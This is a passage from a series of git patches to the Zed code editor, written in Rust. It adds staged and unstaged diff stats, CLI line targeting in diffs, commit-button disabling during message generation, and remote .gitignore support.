+            (Some(added), Some(deleted)) => Some(DiffStat { added, deleted }),
+            _ => None,
+        };
         Ok(Self {
             repo_path,
             status,
             diff_stat,
+            staged_diff_stat,
+            unstaged_diff_stat,
         })
     }
 }
@@ -9138,20 +9159,29 @@ impl Repository {
                         let changed_paths_vec = changed_paths.iter().cloned().collect::<Vec<_>>();
 
                         let status_task = backend.status(&changed_paths_vec);
-                        let diff_stat_future = if has_head {
-                            backend.diff_stat(&changed_paths_vec)
-                        } else {
-                            future::ready(Ok(status::GitDiffStat {
-                                entries: Arc::default(),
-                            }))
-                            .boxed()
+                        let diff_stat_future = |diff| {
+                            if has_head {
+                                backend.diff_stat(diff, &changed_paths_vec)
+                            } else {
+                                future::ready(Ok(status::GitDiffStat::default())).boxed()
+                            }
                         };
 
-                        let (statuses, diff_stats) =
-                            futures::future::try_join(status_task, diff_stat_future).await?;
+                        let (statuses, diff_stats, staged_diff_stats, unstaged_diff_stats) =
+                            futures::future::try_join4(
+                                status_task,
+                                diff_stat_future(DiffStatType::HeadToWorktree),
+                                diff_stat_future(DiffStatType::HeadToIndex),
+                                diff_stat_future(DiffStatType::IndexToWorktree),
+                            )
+                            .await?;
 
                         let diff_stats: HashMap<RepoPath, DiffStat> =
                             HashMap::from_iter(diff_stats.entries.into_iter().cloned());
+                        let staged_diff_stats: HashMap<RepoPath, DiffStat> =
+                            HashMap::from_iter(staged_diff_stats.entries.into_iter().cloned());
+                        let unstaged_diff_stats: HashMap<RepoPath, DiffStat> =
+                            HashMap::from_iter(unstaged_diff_stats.entries.into_iter().cloned());
 
                         let mut changed_path_statuses = Vec::new();
                         let prev_statuses = prev_snapshot.statuses_by_path.clone();
@@ -9182,10 +9212,17 @@ impl Repository {
 
                         for (repo_path, status) in &*statuses.entries {
                             let current_diff_stat = diff_stats.get(repo_path).copied();
+                            let current_staged_diff_stat =
+                                staged_diff_stats.get(repo_path).copied();
+                            let current_unstaged_diff_stat =
+                                unstaged_diff_stats.get(repo_path).copied();
 
                             if cursor.seek_forward(&PathTarget::Path(repo_path), Bias::Left)
                                 && cursor.item().is_some_and(|entry| {
-                                    entry.status == *status && entry.diff_stat == current_diff_stat
+                                    entry.status == *status
+                                        && entry.diff_stat == current_diff_stat
+                                        && entry.staged_diff_stat == current_staged_diff_stat
+                                        && entry.unstaged_diff_stat == current_unstaged_diff_stat
                                 })
                             {
                                 continue;
@@ -9195,6 +9232,8 @@ impl Repository {
                                 repo_path: repo_path.clone(),
                                 status: *status,
                                 diff_stat: current_diff_stat,
+                                staged_diff_stat: current_staged_diff_stat,
+                                unstaged_diff_stat: current_unstaged_diff_stat,
                             }));
                         }
                         anyhow::Ok(changed_path_statuses)
@@ -10538,14 +10577,23 @@ async fn compute_snapshot(
                 .unwrap_or_default()
         }
     };
-    let diff_stat_future = {
+    let diff_stats_future = {
         let snapshot = snapshot.clone();
         let backend = backend.clone();
         async move {
             if snapshot.head_commit.is_some() {
-                backend.diff_stat(&[]).await.log_err().unwrap_or_default()
+                futures::future::join3(
+                    backend.diff_stat(DiffStatType::HeadToWorktree, &[]),
+                    backend.diff_stat(DiffStatType::HeadToIndex, &[]),
+                    backend.diff_stat(DiffStatType::IndexToWorktree, &[]),
+                )
+                .await
             } else {
-                Default::default()
+                (
+                    Ok(status::GitDiffStat::default()),
+                    Ok(status::GitDiffStat::default()),
+                    Ok(status::GitDiffStat::default()),
+                )
             }
         }
     };
@@ -10555,11 +10603,25 @@ async fn compute_snapshot(
     };
 
     let (statuses, diff_stats, stash_entries) =
-        futures::future::join3(statuses_future, diff_stat_future, stash_entries_future).await;
+        futures::future::join3(statuses_future, diff_stats_future, stash_entries_future).await;
+    let (diff_stats, staged_diff_stats, unstaged_diff_stats) = diff_stats;
+    let diff_stats = diff_stats.log_err().unwrap_or_default();
+    let staged_diff_stats = staged_diff_stats.log_err().unwrap_or_default();
+    let unstaged_diff_stats = unstaged_diff_stats.log_err().unwrap_or_default();
     log::debug!("fetched statuses, diff stats, stash entries");
 
     let diff_stat_map: HashMap<&RepoPath, DiffStat> =
         diff_stats.entries.iter().map(|(p, s)| (p, *s)).collect();
+    let staged_diff_stat_map: HashMap<&RepoPath, DiffStat> = staged_diff_stats
+        .entries
+        .iter()
+        .map(|(p, s)| (p, *s))
+        .collect();
+    let unstaged_diff_stat_map: HashMap<&RepoPath, DiffStat> = unstaged_diff_stats
+        .entries
+        .iter()
+        .map(|(p, s)| (p, *s))
+        .collect();
     let mut conflicted_paths = Vec::new();
     let statuses_by_path = SumTree::from_iter(
         statuses.entries.iter().map(|(repo_path, status)| {
@@ -10570,6 +10632,8 @@ async fn compute_snapshot(
                 repo_path: repo_path.clone(),
                 status: *status,
                 diff_stat: diff_stat_map.get(repo_path).copied(),
+                staged_diff_stat: staged_diff_stat_map.get(repo_path).copied(),
+                unstaged_diff_stat: unstaged_diff_stat_map.get(repo_path).copied(),
             }
         }),
         (),
diff --git a/crates/project/tests/integration/project_tests.rs b/crates/project/tests/integration/project_tests.rs
index 420af4aaed3184..6857ce680ae371 100644
--- a/crates/project/tests/integration/project_tests.rs
+++ b/crates/project/tests/integration/project_tests.rs
@@ -12372,11 +12372,18 @@ async fn test_git_repository_status(cx: &mut gpui::TestAppContext) {
                         added: 1,
                         deleted: 1,
                     }),
+                    staged_diff_stat: None,
+                    unstaged_diff_stat: Some(DiffStat {
+                        added: 1,
+                        deleted: 1,
+                    }),
                 },
                 StatusEntry {
                     repo_path: repo_path("b.txt"),
                     status: FileStatus::Untracked,
                     diff_stat: None,
+                    staged_diff_stat: None,
+                    unstaged_diff_stat: None,
                 },
                 StatusEntry {
                     repo_path: repo_path("d.txt"),
@@ -12385,6 +12392,11 @@ async fn test_git_repository_status(cx: &mut gpui::TestAppContext) {
                         added: 0,
                         deleted: 1,
                     }),
+                    staged_diff_stat: None,
+                    unstaged_diff_stat: Some(DiffStat {
+                        added: 0,
+                        deleted: 1,
+                    }),
                 },
             ]
         );
@@ -12410,11 +12422,18 @@ async fn test_git_repository_status(cx: &mut gpui::TestAppContext) {
                         added: 1,
                         deleted: 1,
                     }),
+                    staged_diff_stat: None,
+                    unstaged_diff_stat: Some(DiffStat {
+                        added: 1,
+                        deleted: 1,
+                    }),
                 },
                 StatusEntry {
                     repo_path: repo_path("b.txt"),
                     status: FileStatus::Untracked,
                     diff_stat: None,
+                    staged_diff_stat: None,
+                    unstaged_diff_stat: None,
                 },
                 StatusEntry {
                     repo_path: repo_path("c.txt"),
@@ -12423,6 +12442,11 @@ async fn test_git_repository_status(cx: &mut gpui::TestAppContext) {
                         added: 1,
                         deleted: 1,
                     }),
+                    staged_diff_stat: None,
+                    unstaged_diff_stat: Some(DiffStat {
+                        added: 1,
+                        deleted: 1,
+                    }),
                 },
                 StatusEntry {
                     repo_path: repo_path("d.txt"),
@@ -12431,6 +12455,11 @@ async fn test_git_repository_status(cx: &mut gpui::TestAppContext) {
                         added: 0,
                         deleted: 1,
                     }),
+                    staged_diff_stat: None,
+                    unstaged_diff_stat: Some(DiffStat {
+                        added: 0,
+                        deleted: 1,
+                    }),
                 },
             ]
         );
@@ -12468,6 +12497,11 @@ async fn test_git_repository_status(cx: &mut gpui::TestAppContext) {
                     added: 0,
                     deleted: 1,
                 }),
+                staged_diff_stat: None,
+                unstaged_diff_stat: Some(DiffStat {
+                    added: 0,
+                    deleted: 1,
+                }),
             }]
         );
     });
@@ -12516,6 +12550,8 @@ async fn test_git_repository_status_removes_directory_descendants(cx: &mut gpui:
                 repo_path: repo_path("ci2/Dockerfile.namespace"),
                 status: FileStatus::Untracked,
                 diff_stat: None,
+                staged_diff_stat: None,
+                unstaged_diff_stat: None,
             }]
         );
     });
@@ -12558,6 +12594,8 @@ async fn test_git_repository_status_removes_directory_descendants(cx: &mut gpui:
                 repo_path: repo_path("ci3/Dockerfile.namespace"),
                 status: FileStatus::Untracked,
                 diff_stat: None,
+                staged_diff_stat: None,
+                unstaged_diff_stat: None,
             }]
         );
     });
@@ -12719,6 +12757,11 @@ async fn test_git_status_postprocessing(cx: &mut gpui::TestAppContext) {
                 }
                 .into(),
                 diff_stat: None,
+                staged_diff_stat: Some(DiffStat {
+                    added: 0,
+                    deleted: 0,
+                }),
+                unstaged_diff_stat: None,
             }]
         )
     });
@@ -12925,6 +12968,11 @@ async fn test_repository_pending_ops_staging(
                     added: 1,
                     deleted: 0,
                 }),
+                staged_diff_stat: Some(DiffStat {
+                    added: 1,
+                    deleted: 0,
+                }),
+                unstaged_diff_stat: None,
             }]
         );
     });
@@ -13035,6 +13083,11 @@ async fn test_repository_pending_ops_long_running_staging(
                     added: 1,
                     deleted: 0,
                 }),
+                staged_diff_stat: Some(DiffStat {
+                    added: 1,
+                    deleted: 0,
+                }),
+                unstaged_diff_stat: None,
             }]
         );
     });
@@ -13160,11 +13213,15 @@ async fn test_repository_pending_ops_stage_all(
                     repo_path: repo_path("a.txt"),
                     status: FileStatus::Untracked,
                     diff_stat: None,
+                    staged_diff_stat: None,
+                    unstaged_diff_stat: None,
                 },
                 StatusEntry {
                     repo_path: repo_path("b.txt"),
                     status: FileStatus::Untracked,
                     diff_stat: None,
+                    staged_diff_stat: None,
+                    unstaged_diff_stat: None,
                 },
             ]
         );
diff --git a/crates/proto/proto/git.proto b/crates/proto/proto/git.proto
index 33cbadc13ca5f7..bb8a8b89a0f96d 100644
--- a/crates/proto/proto/git.proto
+++ b/crates/proto/proto/git.proto
@@ -330,6 +330,10 @@ message StatusEntry {
   GitFileStatus status = 3;
   optional uint32 diff_stat_added = 4;
   optional uint32 diff_stat_deleted = 5;
+  optional uint32 staged_diff_stat_added = 6;
+  optional uint32 staged_diff_stat_deleted = 7;
+  optional uint32 unstaged_diff_stat_added = 8;
+  optional uint32 unstaged_diff_stat_deleted = 9;
 }
 
 message StashEntry {

From 80a1add64b77a7923855a5b8827ad693301c9fb1 Mon Sep 17 00:00:00 2001
From: victor <52110451+cs50victor@users.noreply.github.com>
Date: Sat, 18 Jul 2026 12:56:01 -0700
Subject: [PATCH 534/772] git: Add possibility to open specific line in a diff
 using the CLI (#45499)

this pr enables opening a specific line in a diff using zed's cli

Release Notes:
- refactor: add possibility to open specific line in a diff using the
cli

---------

Co-authored-by: Cole Miller <cole@zed.dev>
---
 crates/cli/src/main.rs                    |  9 +++-
 crates/editor/src/editor_tests.rs         | 51 +++++++++++++++++++++++
 crates/editor/src/navigation.rs           | 11 +++--
 crates/git_ui/src/file_diff_view.rs       | 23 +++++++++-
 crates/project_panel/src/project_panel.rs | 11 ++++-
 crates/zed/src/zed/open_listener.rs       | 40 +++++++++++++++---
 6 files changed, 132 insertions(+), 13 deletions(-)

diff --git a/crates/cli/src/main.rs b/crates/cli/src/main.rs
index 565f97ff230555..82bec80e04da1d 100644
--- a/crates/cli/src/main.rs
+++ b/crates/cli/src/main.rs
@@ -202,6 +202,13 @@ fn parse_path_with_position(argument_str: &str) -> anyhow::Result<String> {
     .map(|path_with_pos| path_with_pos.to_string(&|path| path.to_string_lossy().into_owned()))
 }
 
+/// Returns whether a `--diff` argument refers to an existing path, allowing a
+/// trailing `:line:column` suffix (parsed later by the Zed side, matching how
+/// regular `zed path:line:column` arguments are handled).
+fn diff_path_exists(diff_path: &str) -> bool {
+    Path::new(diff_path).exists() || PathWithPosition::parse_str(diff_path).path.exists()
+}
+
 fn expand_directory_diff_pairs(
     diff_pairs: Vec<[String; 2]>,
 ) -> anyhow::Result<(Vec<[String; 2]>, Vec<TempDir>)> {
@@ -642,7 +649,7 @@ fn run() -> Result<()> {
         let right = parse_path_with_position(&path[1])?;
         for diff_path in [&left, &right] {
             anyhow::ensure!(
-                Path::new(diff_path).exists(),
+                diff_path_exists(diff_path),
                 "--diff path does not exist: {diff_path}"
             );
         }
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index a5045a07f63957..318495c07b3b26 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -26636,6 +26636,57 @@ async fn test_diff_base_change_with_expanded_diff_hunks(
     );
 }
 
+#[gpui::test]
+async fn test_go_to_singleton_buffer_point_with_expanded_deleted_hunks(
+    executor: BackgroundExecutor,
+    cx: &mut TestAppContext,
+) {
+    init_test(cx, |_| {});
+
+    let mut cx = EditorTestContext::new(cx).await;
+
+    let diff_base = r#"
+        removed line 1
+        removed line 2
+        line 1
+        line 2
+        line 3
+        "#
+    .unindent();
+
+    cx.set_state(
+        &r#"
+        ˇline 1
+        line 2
+        line 3
+        "#
+        .unindent(),
+    );
+
+    cx.set_head_text(&diff_base);
+    executor.run_until_parked();
+
+    cx.update_editor(|editor, window, cx| {
+        editor.expand_all_diff_hunks(&ExpandAllDiffHunks, window, cx);
+    });
+    executor.run_until_parked();
+
+    cx.update_editor(|editor, window, cx| {
+        editor.go_to_singleton_buffer_point(Point::new(2, 0), window, cx);
+    });
+
+    cx.assert_state_with_diff(
+        r#"
+        - removed line 1
+        - removed line 2
+          line 1
+          line 2
+          ˇline 3
+        "#
+        .unindent(),
+    );
+}
+
 #[gpui::test]
 async fn test_toggle_diff_expand_in_multi_buffer(cx: &mut TestAppContext) {
     init_test(cx, |_| {});
diff --git a/crates/editor/src/navigation.rs b/crates/editor/src/navigation.rs
index 29447dd2f3e66d..3d4b42a3054242 100644
--- a/crates/editor/src/navigation.rs
+++ b/crates/editor/src/navigation.rs
@@ -2455,10 +2455,15 @@ impl Editor {
         cx: &mut Context<Self>,
     ) {
         let multibuffer = self.buffer().read(cx);
-        if !multibuffer.is_singleton() {
+        let Some(buffer) = multibuffer.as_singleton() else {
+            return;
+        };
+        let Some(start) = multibuffer.buffer_point_to_anchor(&buffer, range.start, cx) else {
+            return;
+        };
+        let Some(end) = multibuffer.buffer_point_to_anchor(&buffer, range.end, cx) else {
             return;
         };
-        let anchor_range = range.to_anchors(&multibuffer.snapshot(cx));
         self.change_selections(
             SelectionEffects::scroll(Autoscroll::for_go_to_definition(
                 self.cursor_top_offset(cx),
@@ -2467,7 +2472,7 @@ impl Editor {
             .nav_history(record_nav_history),
             window,
             cx,
-            |s| s.select_anchor_ranges([anchor_range]),
+            |s| s.select_anchor_ranges([start..end]),
         );
     }
 
diff --git a/crates/git_ui/src/file_diff_view.rs b/crates/git_ui/src/file_diff_view.rs
index 321b7f2a29bea9..a9c6b5878d8a13 100644
--- a/crates/git_ui/src/file_diff_view.rs
+++ b/crates/git_ui/src/file_diff_view.rs
@@ -11,7 +11,7 @@ use gpui::{
     AnyElement, App, AppContext as _, AsyncApp, Context, Entity, EventEmitter, FocusHandle,
     Focusable, Font, IntoElement, Render, Task, WeakEntity, Window,
 };
-use language::{Buffer, HighlightedText};
+use language::{Buffer, HighlightedText, Point};
 use project::{Project, ProjectPath};
 use settings::Settings;
 use std::{
@@ -44,6 +44,7 @@ impl FileDiffView {
     pub fn open(
         old_path: PathBuf,
         new_path: PathBuf,
+        target_position: Option<Point>,
         workspace: WeakEntity<Workspace>,
         window: &mut Window,
         cx: &mut App,
@@ -78,6 +79,23 @@ impl FileDiffView {
                     pane.add_item(Box::new(diff_view.clone()), true, true, None, window, cx);
                 });
 
+                if let Some(target_position) = target_position {
+                    let (new_buffer, rhs_editor) = {
+                        let diff_view = diff_view.read(cx);
+                        (
+                            diff_view.new_buffer.clone(),
+                            diff_view.editor.read(cx).rhs_editor().clone(),
+                        )
+                    };
+                    let point = new_buffer
+                        .read(cx)
+                        .snapshot()
+                        .point_from_external_input(target_position.row, target_position.column);
+                    rhs_editor.update(cx, |editor, cx| {
+                        editor.go_to_singleton_buffer_point(point, window, cx);
+                    });
+                }
+
                 diff_view
             })
         })
@@ -437,6 +455,7 @@ mod tests {
                 FileDiffView::open(
                     path!("/test/old_file.txt").into(),
                     path!("/test/new_file.txt").into(),
+                    None,
                     workspace.weak_handle(),
                     window,
                     cx,
@@ -586,6 +605,7 @@ mod tests {
                 FileDiffView::open(
                     path!("/test/old_file.rs").into(),
                     path!("/test/new_file.rs").into(),
+                    None,
                     workspace.weak_handle(),
                     window,
                     cx,
@@ -656,6 +676,7 @@ mod tests {
                 FileDiffView::open(
                     PathBuf::from(path!("/test/old_file.txt")),
                     PathBuf::from(path!("/test/new_file.txt")),
+                    None,
                     workspace.weak_handle(),
                     window,
                     cx,
diff --git a/crates/project_panel/src/project_panel.rs b/crates/project_panel/src/project_panel.rs
index 61773c7517808e..6722fee9eca1b0 100644
--- a/crates/project_panel/src/project_panel.rs
+++ b/crates/project_panel/src/project_panel.rs
@@ -3804,8 +3804,15 @@ impl ProjectPanel {
         if let Some((file_path1, file_path2)) = selected_files {
             self.workspace
                 .update(cx, |workspace, cx| {
-                    FileDiffView::open(file_path1, file_path2, workspace.weak_handle(), window, cx)
-                        .detach_and_log_err(cx);
+                    FileDiffView::open(
+                        file_path1,
+                        file_path2,
+                        None,
+                        workspace.weak_handle(),
+                        window,
+                        cx,
+                    )
+                    .detach_and_log_err(cx);
                 })
                 .ok();
         }
diff --git a/crates/zed/src/zed/open_listener.rs b/crates/zed/src/zed/open_listener.rs
index d59e80a35d2350..b5bc3652f610d1 100644
--- a/crates/zed/src/zed/open_listener.rs
+++ b/crates/zed/src/zed/open_listener.rs
@@ -486,9 +486,20 @@ pub async fn open_paths_with_positions(
         .await?;
 
     if diff_all && !diff_paths.is_empty() {
+        let mut diff_pairs = Vec::with_capacity(diff_paths.len());
+        for diff_pair in diff_paths {
+            let parsed = derive_paths_with_position(app_state.fs.as_ref(), diff_pair).await;
+            let (Some(old_parsed), Some(new_parsed)) = (parsed.first(), parsed.get(1)) else {
+                continue;
+            };
+            diff_pairs.push([
+                old_parsed.path.to_string_lossy().into_owned(),
+                new_parsed.path.to_string_lossy().into_owned(),
+            ]);
+        }
         if let Ok(diff_view) = multi_workspace.update(cx, |multi_workspace, window, cx| {
             multi_workspace.workspace().update(cx, |workspace, cx| {
-                MultiDiffView::open(diff_paths.to_vec(), workspace, window, cx)
+                MultiDiffView::open(diff_pairs, workspace, window, cx)
             })
         }) {
             if let Some(diff_view) = diff_view.await.log_err() {
@@ -499,16 +510,20 @@ pub async fn open_paths_with_positions(
         let workspace_weak = multi_workspace.read_with(cx, |multi_workspace, _cx| {
             multi_workspace.workspace().downgrade()
         })?;
-        let canonicalize = async |raw: &str| {
+        let canonicalize = async |parsed: &PathWithPosition| {
             app_state
                 .fs
-                .canonicalize(Path::new(raw))
+                .canonicalize(&parsed.path)
                 .await
-                .with_context(|| format!("opening --diff path {raw:?}"))
+                .with_context(|| format!("opening --diff path {:?}", parsed.path))
         };
         for diff_pair in diff_paths {
+            let parsed = derive_paths_with_position(app_state.fs.as_ref(), diff_pair).await;
+            let (Some(old_parsed), Some(new_parsed)) = (parsed.first(), parsed.get(1)) else {
+                continue;
+            };
             let (old_path, new_path) =
-                match futures::join!(canonicalize(&diff_pair[0]), canonicalize(&diff_pair[1])) {
+                match futures::join!(canonicalize(old_parsed), canonicalize(new_parsed)) {
                     (Ok(old), Ok(new)) => (old, new),
                     (old, new) => {
                         for result in [old, new] {
@@ -519,8 +534,21 @@ pub async fn open_paths_with_positions(
                         continue;
                     }
                 };
+            let target_position = new_parsed.row.map(|row| {
+                language::Point::new(
+                    row.saturating_sub(1),
+                    new_parsed.column.unwrap_or(0).saturating_sub(1),
+                )
+            });
             if let Ok(diff_view) = multi_workspace.update(cx, |_multi_workspace, window, cx| {
-                FileDiffView::open(old_path, new_path, workspace_weak.clone(), window, cx)
+                FileDiffView::open(
+                    old_path,
+                    new_path,
+                    target_position,
+                    workspace_weak.clone(),
+                    window,
+                    cx,
+                )
             }) {
                 if let Some(diff_view) = diff_view.await.log_err() {
                     items.push(Some(Ok(Box::new(diff_view))))

From aa0923404f6978901bc8abbbd4efaff6cc09a64b Mon Sep 17 00:00:00 2001
From: Xiaobo Liu <cppcoffee@gmail.com>
Date: Sun, 19 Jul 2026 04:06:31 +0800
Subject: [PATCH 535/772] git_ui: Disable commit actions during commit message
 generation (#51727)

Release Notes:

- Add disable commit actions during commit message generation

---------

Signed-off-by: Xiaobo Liu <cppcoffee@gmail.com>
Co-authored-by: Cole Miller <cole@zed.dev>
Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
---
 crates/git_ui/src/commit_modal.rs | 16 ++++++++++++----
 crates/git_ui/src/git_panel.rs    | 18 +++++++++++++-----
 2 files changed, 25 insertions(+), 9 deletions(-)

diff --git a/crates/git_ui/src/commit_modal.rs b/crates/git_ui/src/commit_modal.rs
index 06c554e7b6e06e..7ba5558dd95361 100644
--- a/crates/git_ui/src/commit_modal.rs
+++ b/crates/git_ui/src/commit_modal.rs
@@ -268,15 +268,19 @@ impl CommitModal {
         &self,
         id: impl Into<ElementId>,
         keybinding_target: Option<FocusHandle>,
+        disabled: bool,
     ) -> impl IntoElement {
         let menu_open = self.commit_menu_handle.is_deployed();
 
         PopoverMenu::new(id.into())
             .with_handle(self.commit_menu_handle.clone())
-            .trigger(crate::render_split_button_chevron_trigger(
-                "modal-commit-split-button-right",
-                menu_open,
-            ))
+            .trigger(
+                crate::render_split_button_chevron_trigger(
+                    "modal-commit-split-button-right",
+                    menu_open,
+                )
+                .disabled(disabled),
+            )
             .menu({
                 let git_panel_entity = self.git_panel.clone();
                 move |window, cx| {
@@ -343,6 +347,7 @@ impl CommitModal {
             is_amend_pending,
             is_signoff_enabled,
             workspace,
+            is_generating,
         ) = self.git_panel.update(cx, |git_panel, cx| {
             let (can_commit, tooltip) = git_panel.configure_commit_button(cx);
             let title = git_panel.commit_button_title();
@@ -351,6 +356,7 @@ impl CommitModal {
             let active_repo = git_panel.active_repository.clone();
             let is_amend_pending = git_panel.amend_pending();
             let is_signoff_enabled = git_panel.signoff_enabled();
+            let is_generating = git_panel.is_generating_commit_message();
             (
                 can_commit,
                 tooltip,
@@ -361,6 +367,7 @@ impl CommitModal {
                 is_amend_pending,
                 is_signoff_enabled,
                 git_panel.workspace.clone(),
+                is_generating,
             )
         });
 
@@ -478,6 +485,7 @@ impl CommitModal {
                         self.render_git_commit_menu(
                             format!("split-button-right-{}", commit_label),
                             Some(focus_handle),
+                            is_generating,
                         )
                         .into_any_element(),
                     )),
diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index d7021e1b51b3c6..36d07381d81321 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -5344,15 +5344,16 @@ impl GitPanel {
         &self,
         id: impl Into<ElementId>,
         keybinding_target: Option<FocusHandle>,
+        disabled: bool,
         cx: &mut Context<Self>,
     ) -> impl IntoElement {
         let menu_open = self.commit_menu_handle.is_deployed();
 
         PopoverMenu::new(id.into())
-            .trigger(crate::render_split_button_chevron_trigger(
-                "commit-split-button-right",
-                menu_open,
-            ))
+            .trigger(
+                crate::render_split_button_chevron_trigger("commit-split-button-right", menu_open)
+                    .disabled(disabled),
+            )
             .with_handle(self.commit_menu_handle.clone())
             .menu({
                 let git_panel = cx.entity();
@@ -5401,8 +5402,14 @@ impl GitPanel {
             })
     }
 
+    pub fn is_generating_commit_message(&self) -> bool {
+        self.generate_commit_message_task.is_some()
+    }
+
     pub fn configure_commit_button(&self, cx: &mut Context<Self>) -> (bool, &'static str) {
-        if self.has_unstaged_conflicts() {
+        if self.generate_commit_message_task.is_some() {
+            (false, "Generating commit message...")
+        } else if self.has_unstaged_conflicts() {
             (false, "You must resolve conflicts before committing")
         } else if !self.has_staged_changes() && !self.has_tracked_changes() && !self.amend_pending {
             (false, "No changes to commit")
@@ -5896,6 +5903,7 @@ impl GitPanel {
                 self.render_git_commit_menu(
                     ElementId::Name(format!("split-button-right-{}", title).into()),
                     Some(commit_tooltip_focus_handle),
+                    self.generate_commit_message_task.is_some(),
                     cx,
                 )
                 .into_any_element(),

From edeaf598c7495bd7b9e9a05d68e61f08ad275d16 Mon Sep 17 00:00:00 2001
From: Xiaobo Liu <cppcoffee@gmail.com>
Date: Sun, 19 Jul 2026 05:39:15 +0800
Subject: [PATCH 536/772] project: Add remote support for adding paths to
 .gitignore (#56368)

Release Notes:

- Fixed remote support for adding paths to .gitignore



The problem solved by this PR is: when opening a remote project,
right-clicking a new file in the git panel and clicking "Add to
.gitignore" does not work.

---------

Co-authored-by: Cole Miller <cole@zed.dev>
---
 crates/collab/src/rpc.rs                      |   8 +-
 crates/project/src/git_store.rs               |  85 +++++++++++-
 crates/proto/proto/git.proto                  |  16 +++
 crates/proto/proto/zed.proto                  |   4 +-
 crates/proto/src/proto.rs                     |   6 +
 .../remote_server/src/remote_editing_tests.rs | 123 +++++++++++++++++-
 6 files changed, 231 insertions(+), 11 deletions(-)

diff --git a/crates/collab/src/rpc.rs b/crates/collab/src/rpc.rs
index effe9fb2705c1c..5c30a49afabf9d 100644
--- a/crates/collab/src/rpc.rs
+++ b/crates/collab/src/rpc.rs
@@ -482,8 +482,12 @@ impl Server {
             .add_request_handler(forward_read_only_project_request::<proto::GetRemotes>)
             .add_request_handler(forward_read_only_project_request::<proto::GitShow>)
             .add_request_handler(forward_read_only_project_request::<proto::LoadCommitDiff>)
-            .add_request_handler(forward_read_only_project_request::<proto::GitReset>)
-            .add_request_handler(forward_read_only_project_request::<proto::GitCheckoutFiles>)
+            .add_request_handler(forward_mutating_project_request::<proto::GitReset>)
+            .add_request_handler(forward_mutating_project_request::<proto::GitCheckoutFiles>)
+            .add_request_handler(forward_mutating_project_request::<proto::GitAddPathToGitignore>)
+            .add_request_handler(
+                forward_mutating_project_request::<proto::GitAddPathToGitInfoExclude>,
+            )
             .add_request_handler(forward_mutating_project_request::<proto::SetIndexText>)
             .add_request_handler(forward_mutating_project_request::<proto::ToggleBreakpoint>)
             .add_message_handler(broadcast_project_message_from_host::<proto::BreakpointsForFile>)
diff --git a/crates/project/src/git_store.rs b/crates/project/src/git_store.rs
index ef6b7fe30e9554..94ebed251c6c2a 100644
--- a/crates/project/src/git_store.rs
+++ b/crates/project/src/git_store.rs
@@ -801,6 +801,8 @@ impl GitStore {
         client.add_entity_request_handler(Self::handle_diff_checkpoints);
         client.add_entity_request_handler(Self::handle_load_commit_diff);
         client.add_entity_request_handler(Self::handle_checkout_files);
+        client.add_entity_request_handler(Self::handle_add_path_to_gitignore);
+        client.add_entity_request_handler(Self::handle_add_path_to_git_info_exclude);
         client.add_entity_request_handler(Self::handle_open_commit_message_buffer);
         client.add_entity_request_handler(Self::handle_set_index_text);
         client.add_entity_request_handler(Self::handle_askpass);
@@ -3898,6 +3900,40 @@ impl GitStore {
         Ok(proto::Ack {})
     }
 
+    async fn handle_add_path_to_gitignore(
+        this: Entity<Self>,
+        envelope: TypedEnvelope<proto::GitAddPathToGitignore>,
+        mut cx: AsyncApp,
+    ) -> Result<proto::Ack> {
+        let repository_id = RepositoryId::from_proto(envelope.payload.repository_id);
+        let repository_handle = Self::repository_for_request(&this, repository_id, &mut cx)?;
+        let repo_path = RepoPath::from_proto(&envelope.payload.path)?;
+
+        repository_handle
+            .update(&mut cx, |repository_handle, _| {
+                repository_handle.add_path_to_gitignore(&repo_path, envelope.payload.is_dir)
+            })
+            .await??;
+        Ok(proto::Ack {})
+    }
+
+    async fn handle_add_path_to_git_info_exclude(
+        this: Entity<Self>,
+        envelope: TypedEnvelope<proto::GitAddPathToGitInfoExclude>,
+        mut cx: AsyncApp,
+    ) -> Result<proto::Ack> {
+        let repository_id = RepositoryId::from_proto(envelope.payload.repository_id);
+        let repository_handle = Self::repository_for_request(&this, repository_id, &mut cx)?;
+        let repo_path = RepoPath::from_proto(&envelope.payload.path)?;
+
+        repository_handle
+            .update(&mut cx, |repository_handle, _| {
+                repository_handle.add_path_to_git_info_exclude(&repo_path, envelope.payload.is_dir)
+            })
+            .await??;
+        Ok(proto::Ack {})
+    }
+
     async fn handle_open_commit_message_buffer(
         this: Entity<Self>,
         envelope: TypedEnvelope<proto::OpenCommitMessageBuffer>,
@@ -7269,8 +7305,10 @@ impl Repository {
         repo_path: &RepoPath,
         is_dir: bool,
     ) -> oneshot::Receiver<Result<()>> {
+        let id = self.id;
         let work_dir = self.snapshot.work_directory_abs_path.clone();
         let path_display = repo_path.as_ref().display(PathStyle::Unix);
+        let path = repo_path.as_unix_str().to_owned();
         let file_path_str = if is_dir {
             format!("{}/", path_display)
         } else {
@@ -7290,9 +7328,18 @@ impl Repository {
                         )
                         .await
                     }
-                    RepositoryState::Remote(_) => Err(anyhow::anyhow!(
-                        "Cannot modify .gitignore on remote repository"
-                    )),
+                    RepositoryState::Remote(RemoteRepositoryState { project_id, client }) => {
+                        client
+                            .request(proto::GitAddPathToGitignore {
+                                project_id: project_id.0,
+                                repository_id: id.to_proto(),
+                                path,
+                                is_dir,
+                            })
+                            .await
+                            .context("sending add path to .gitignore request")?;
+                        Ok(())
+                    }
                 }
             },
         )
@@ -7303,8 +7350,10 @@ impl Repository {
         repo_path: &RepoPath,
         is_dir: bool,
     ) -> oneshot::Receiver<Result<()>> {
+        let id = self.id;
         let repository_dir = self.snapshot.repository_dir_abs_path.clone();
         let path_display = repo_path.as_ref().display(PathStyle::Unix);
+        let path = repo_path.as_unix_str().to_owned();
         let file_path_str = if is_dir {
             format!("{}/", path_display)
         } else {
@@ -7324,9 +7373,18 @@ impl Repository {
                         )
                         .await
                     }
-                    RepositoryState::Remote(_) => Err(anyhow::anyhow!(
-                        "Cannot modify .git/info/exclude on remote repository"
-                    )),
+                    RepositoryState::Remote(RemoteRepositoryState { project_id, client }) => {
+                        client
+                            .request(proto::GitAddPathToGitInfoExclude {
+                                project_id: project_id.0,
+                                repository_id: id.to_proto(),
+                                path,
+                                is_dir,
+                            })
+                            .await
+                            .context("sending add path to .git/info/exclude request")?;
+                        Ok(())
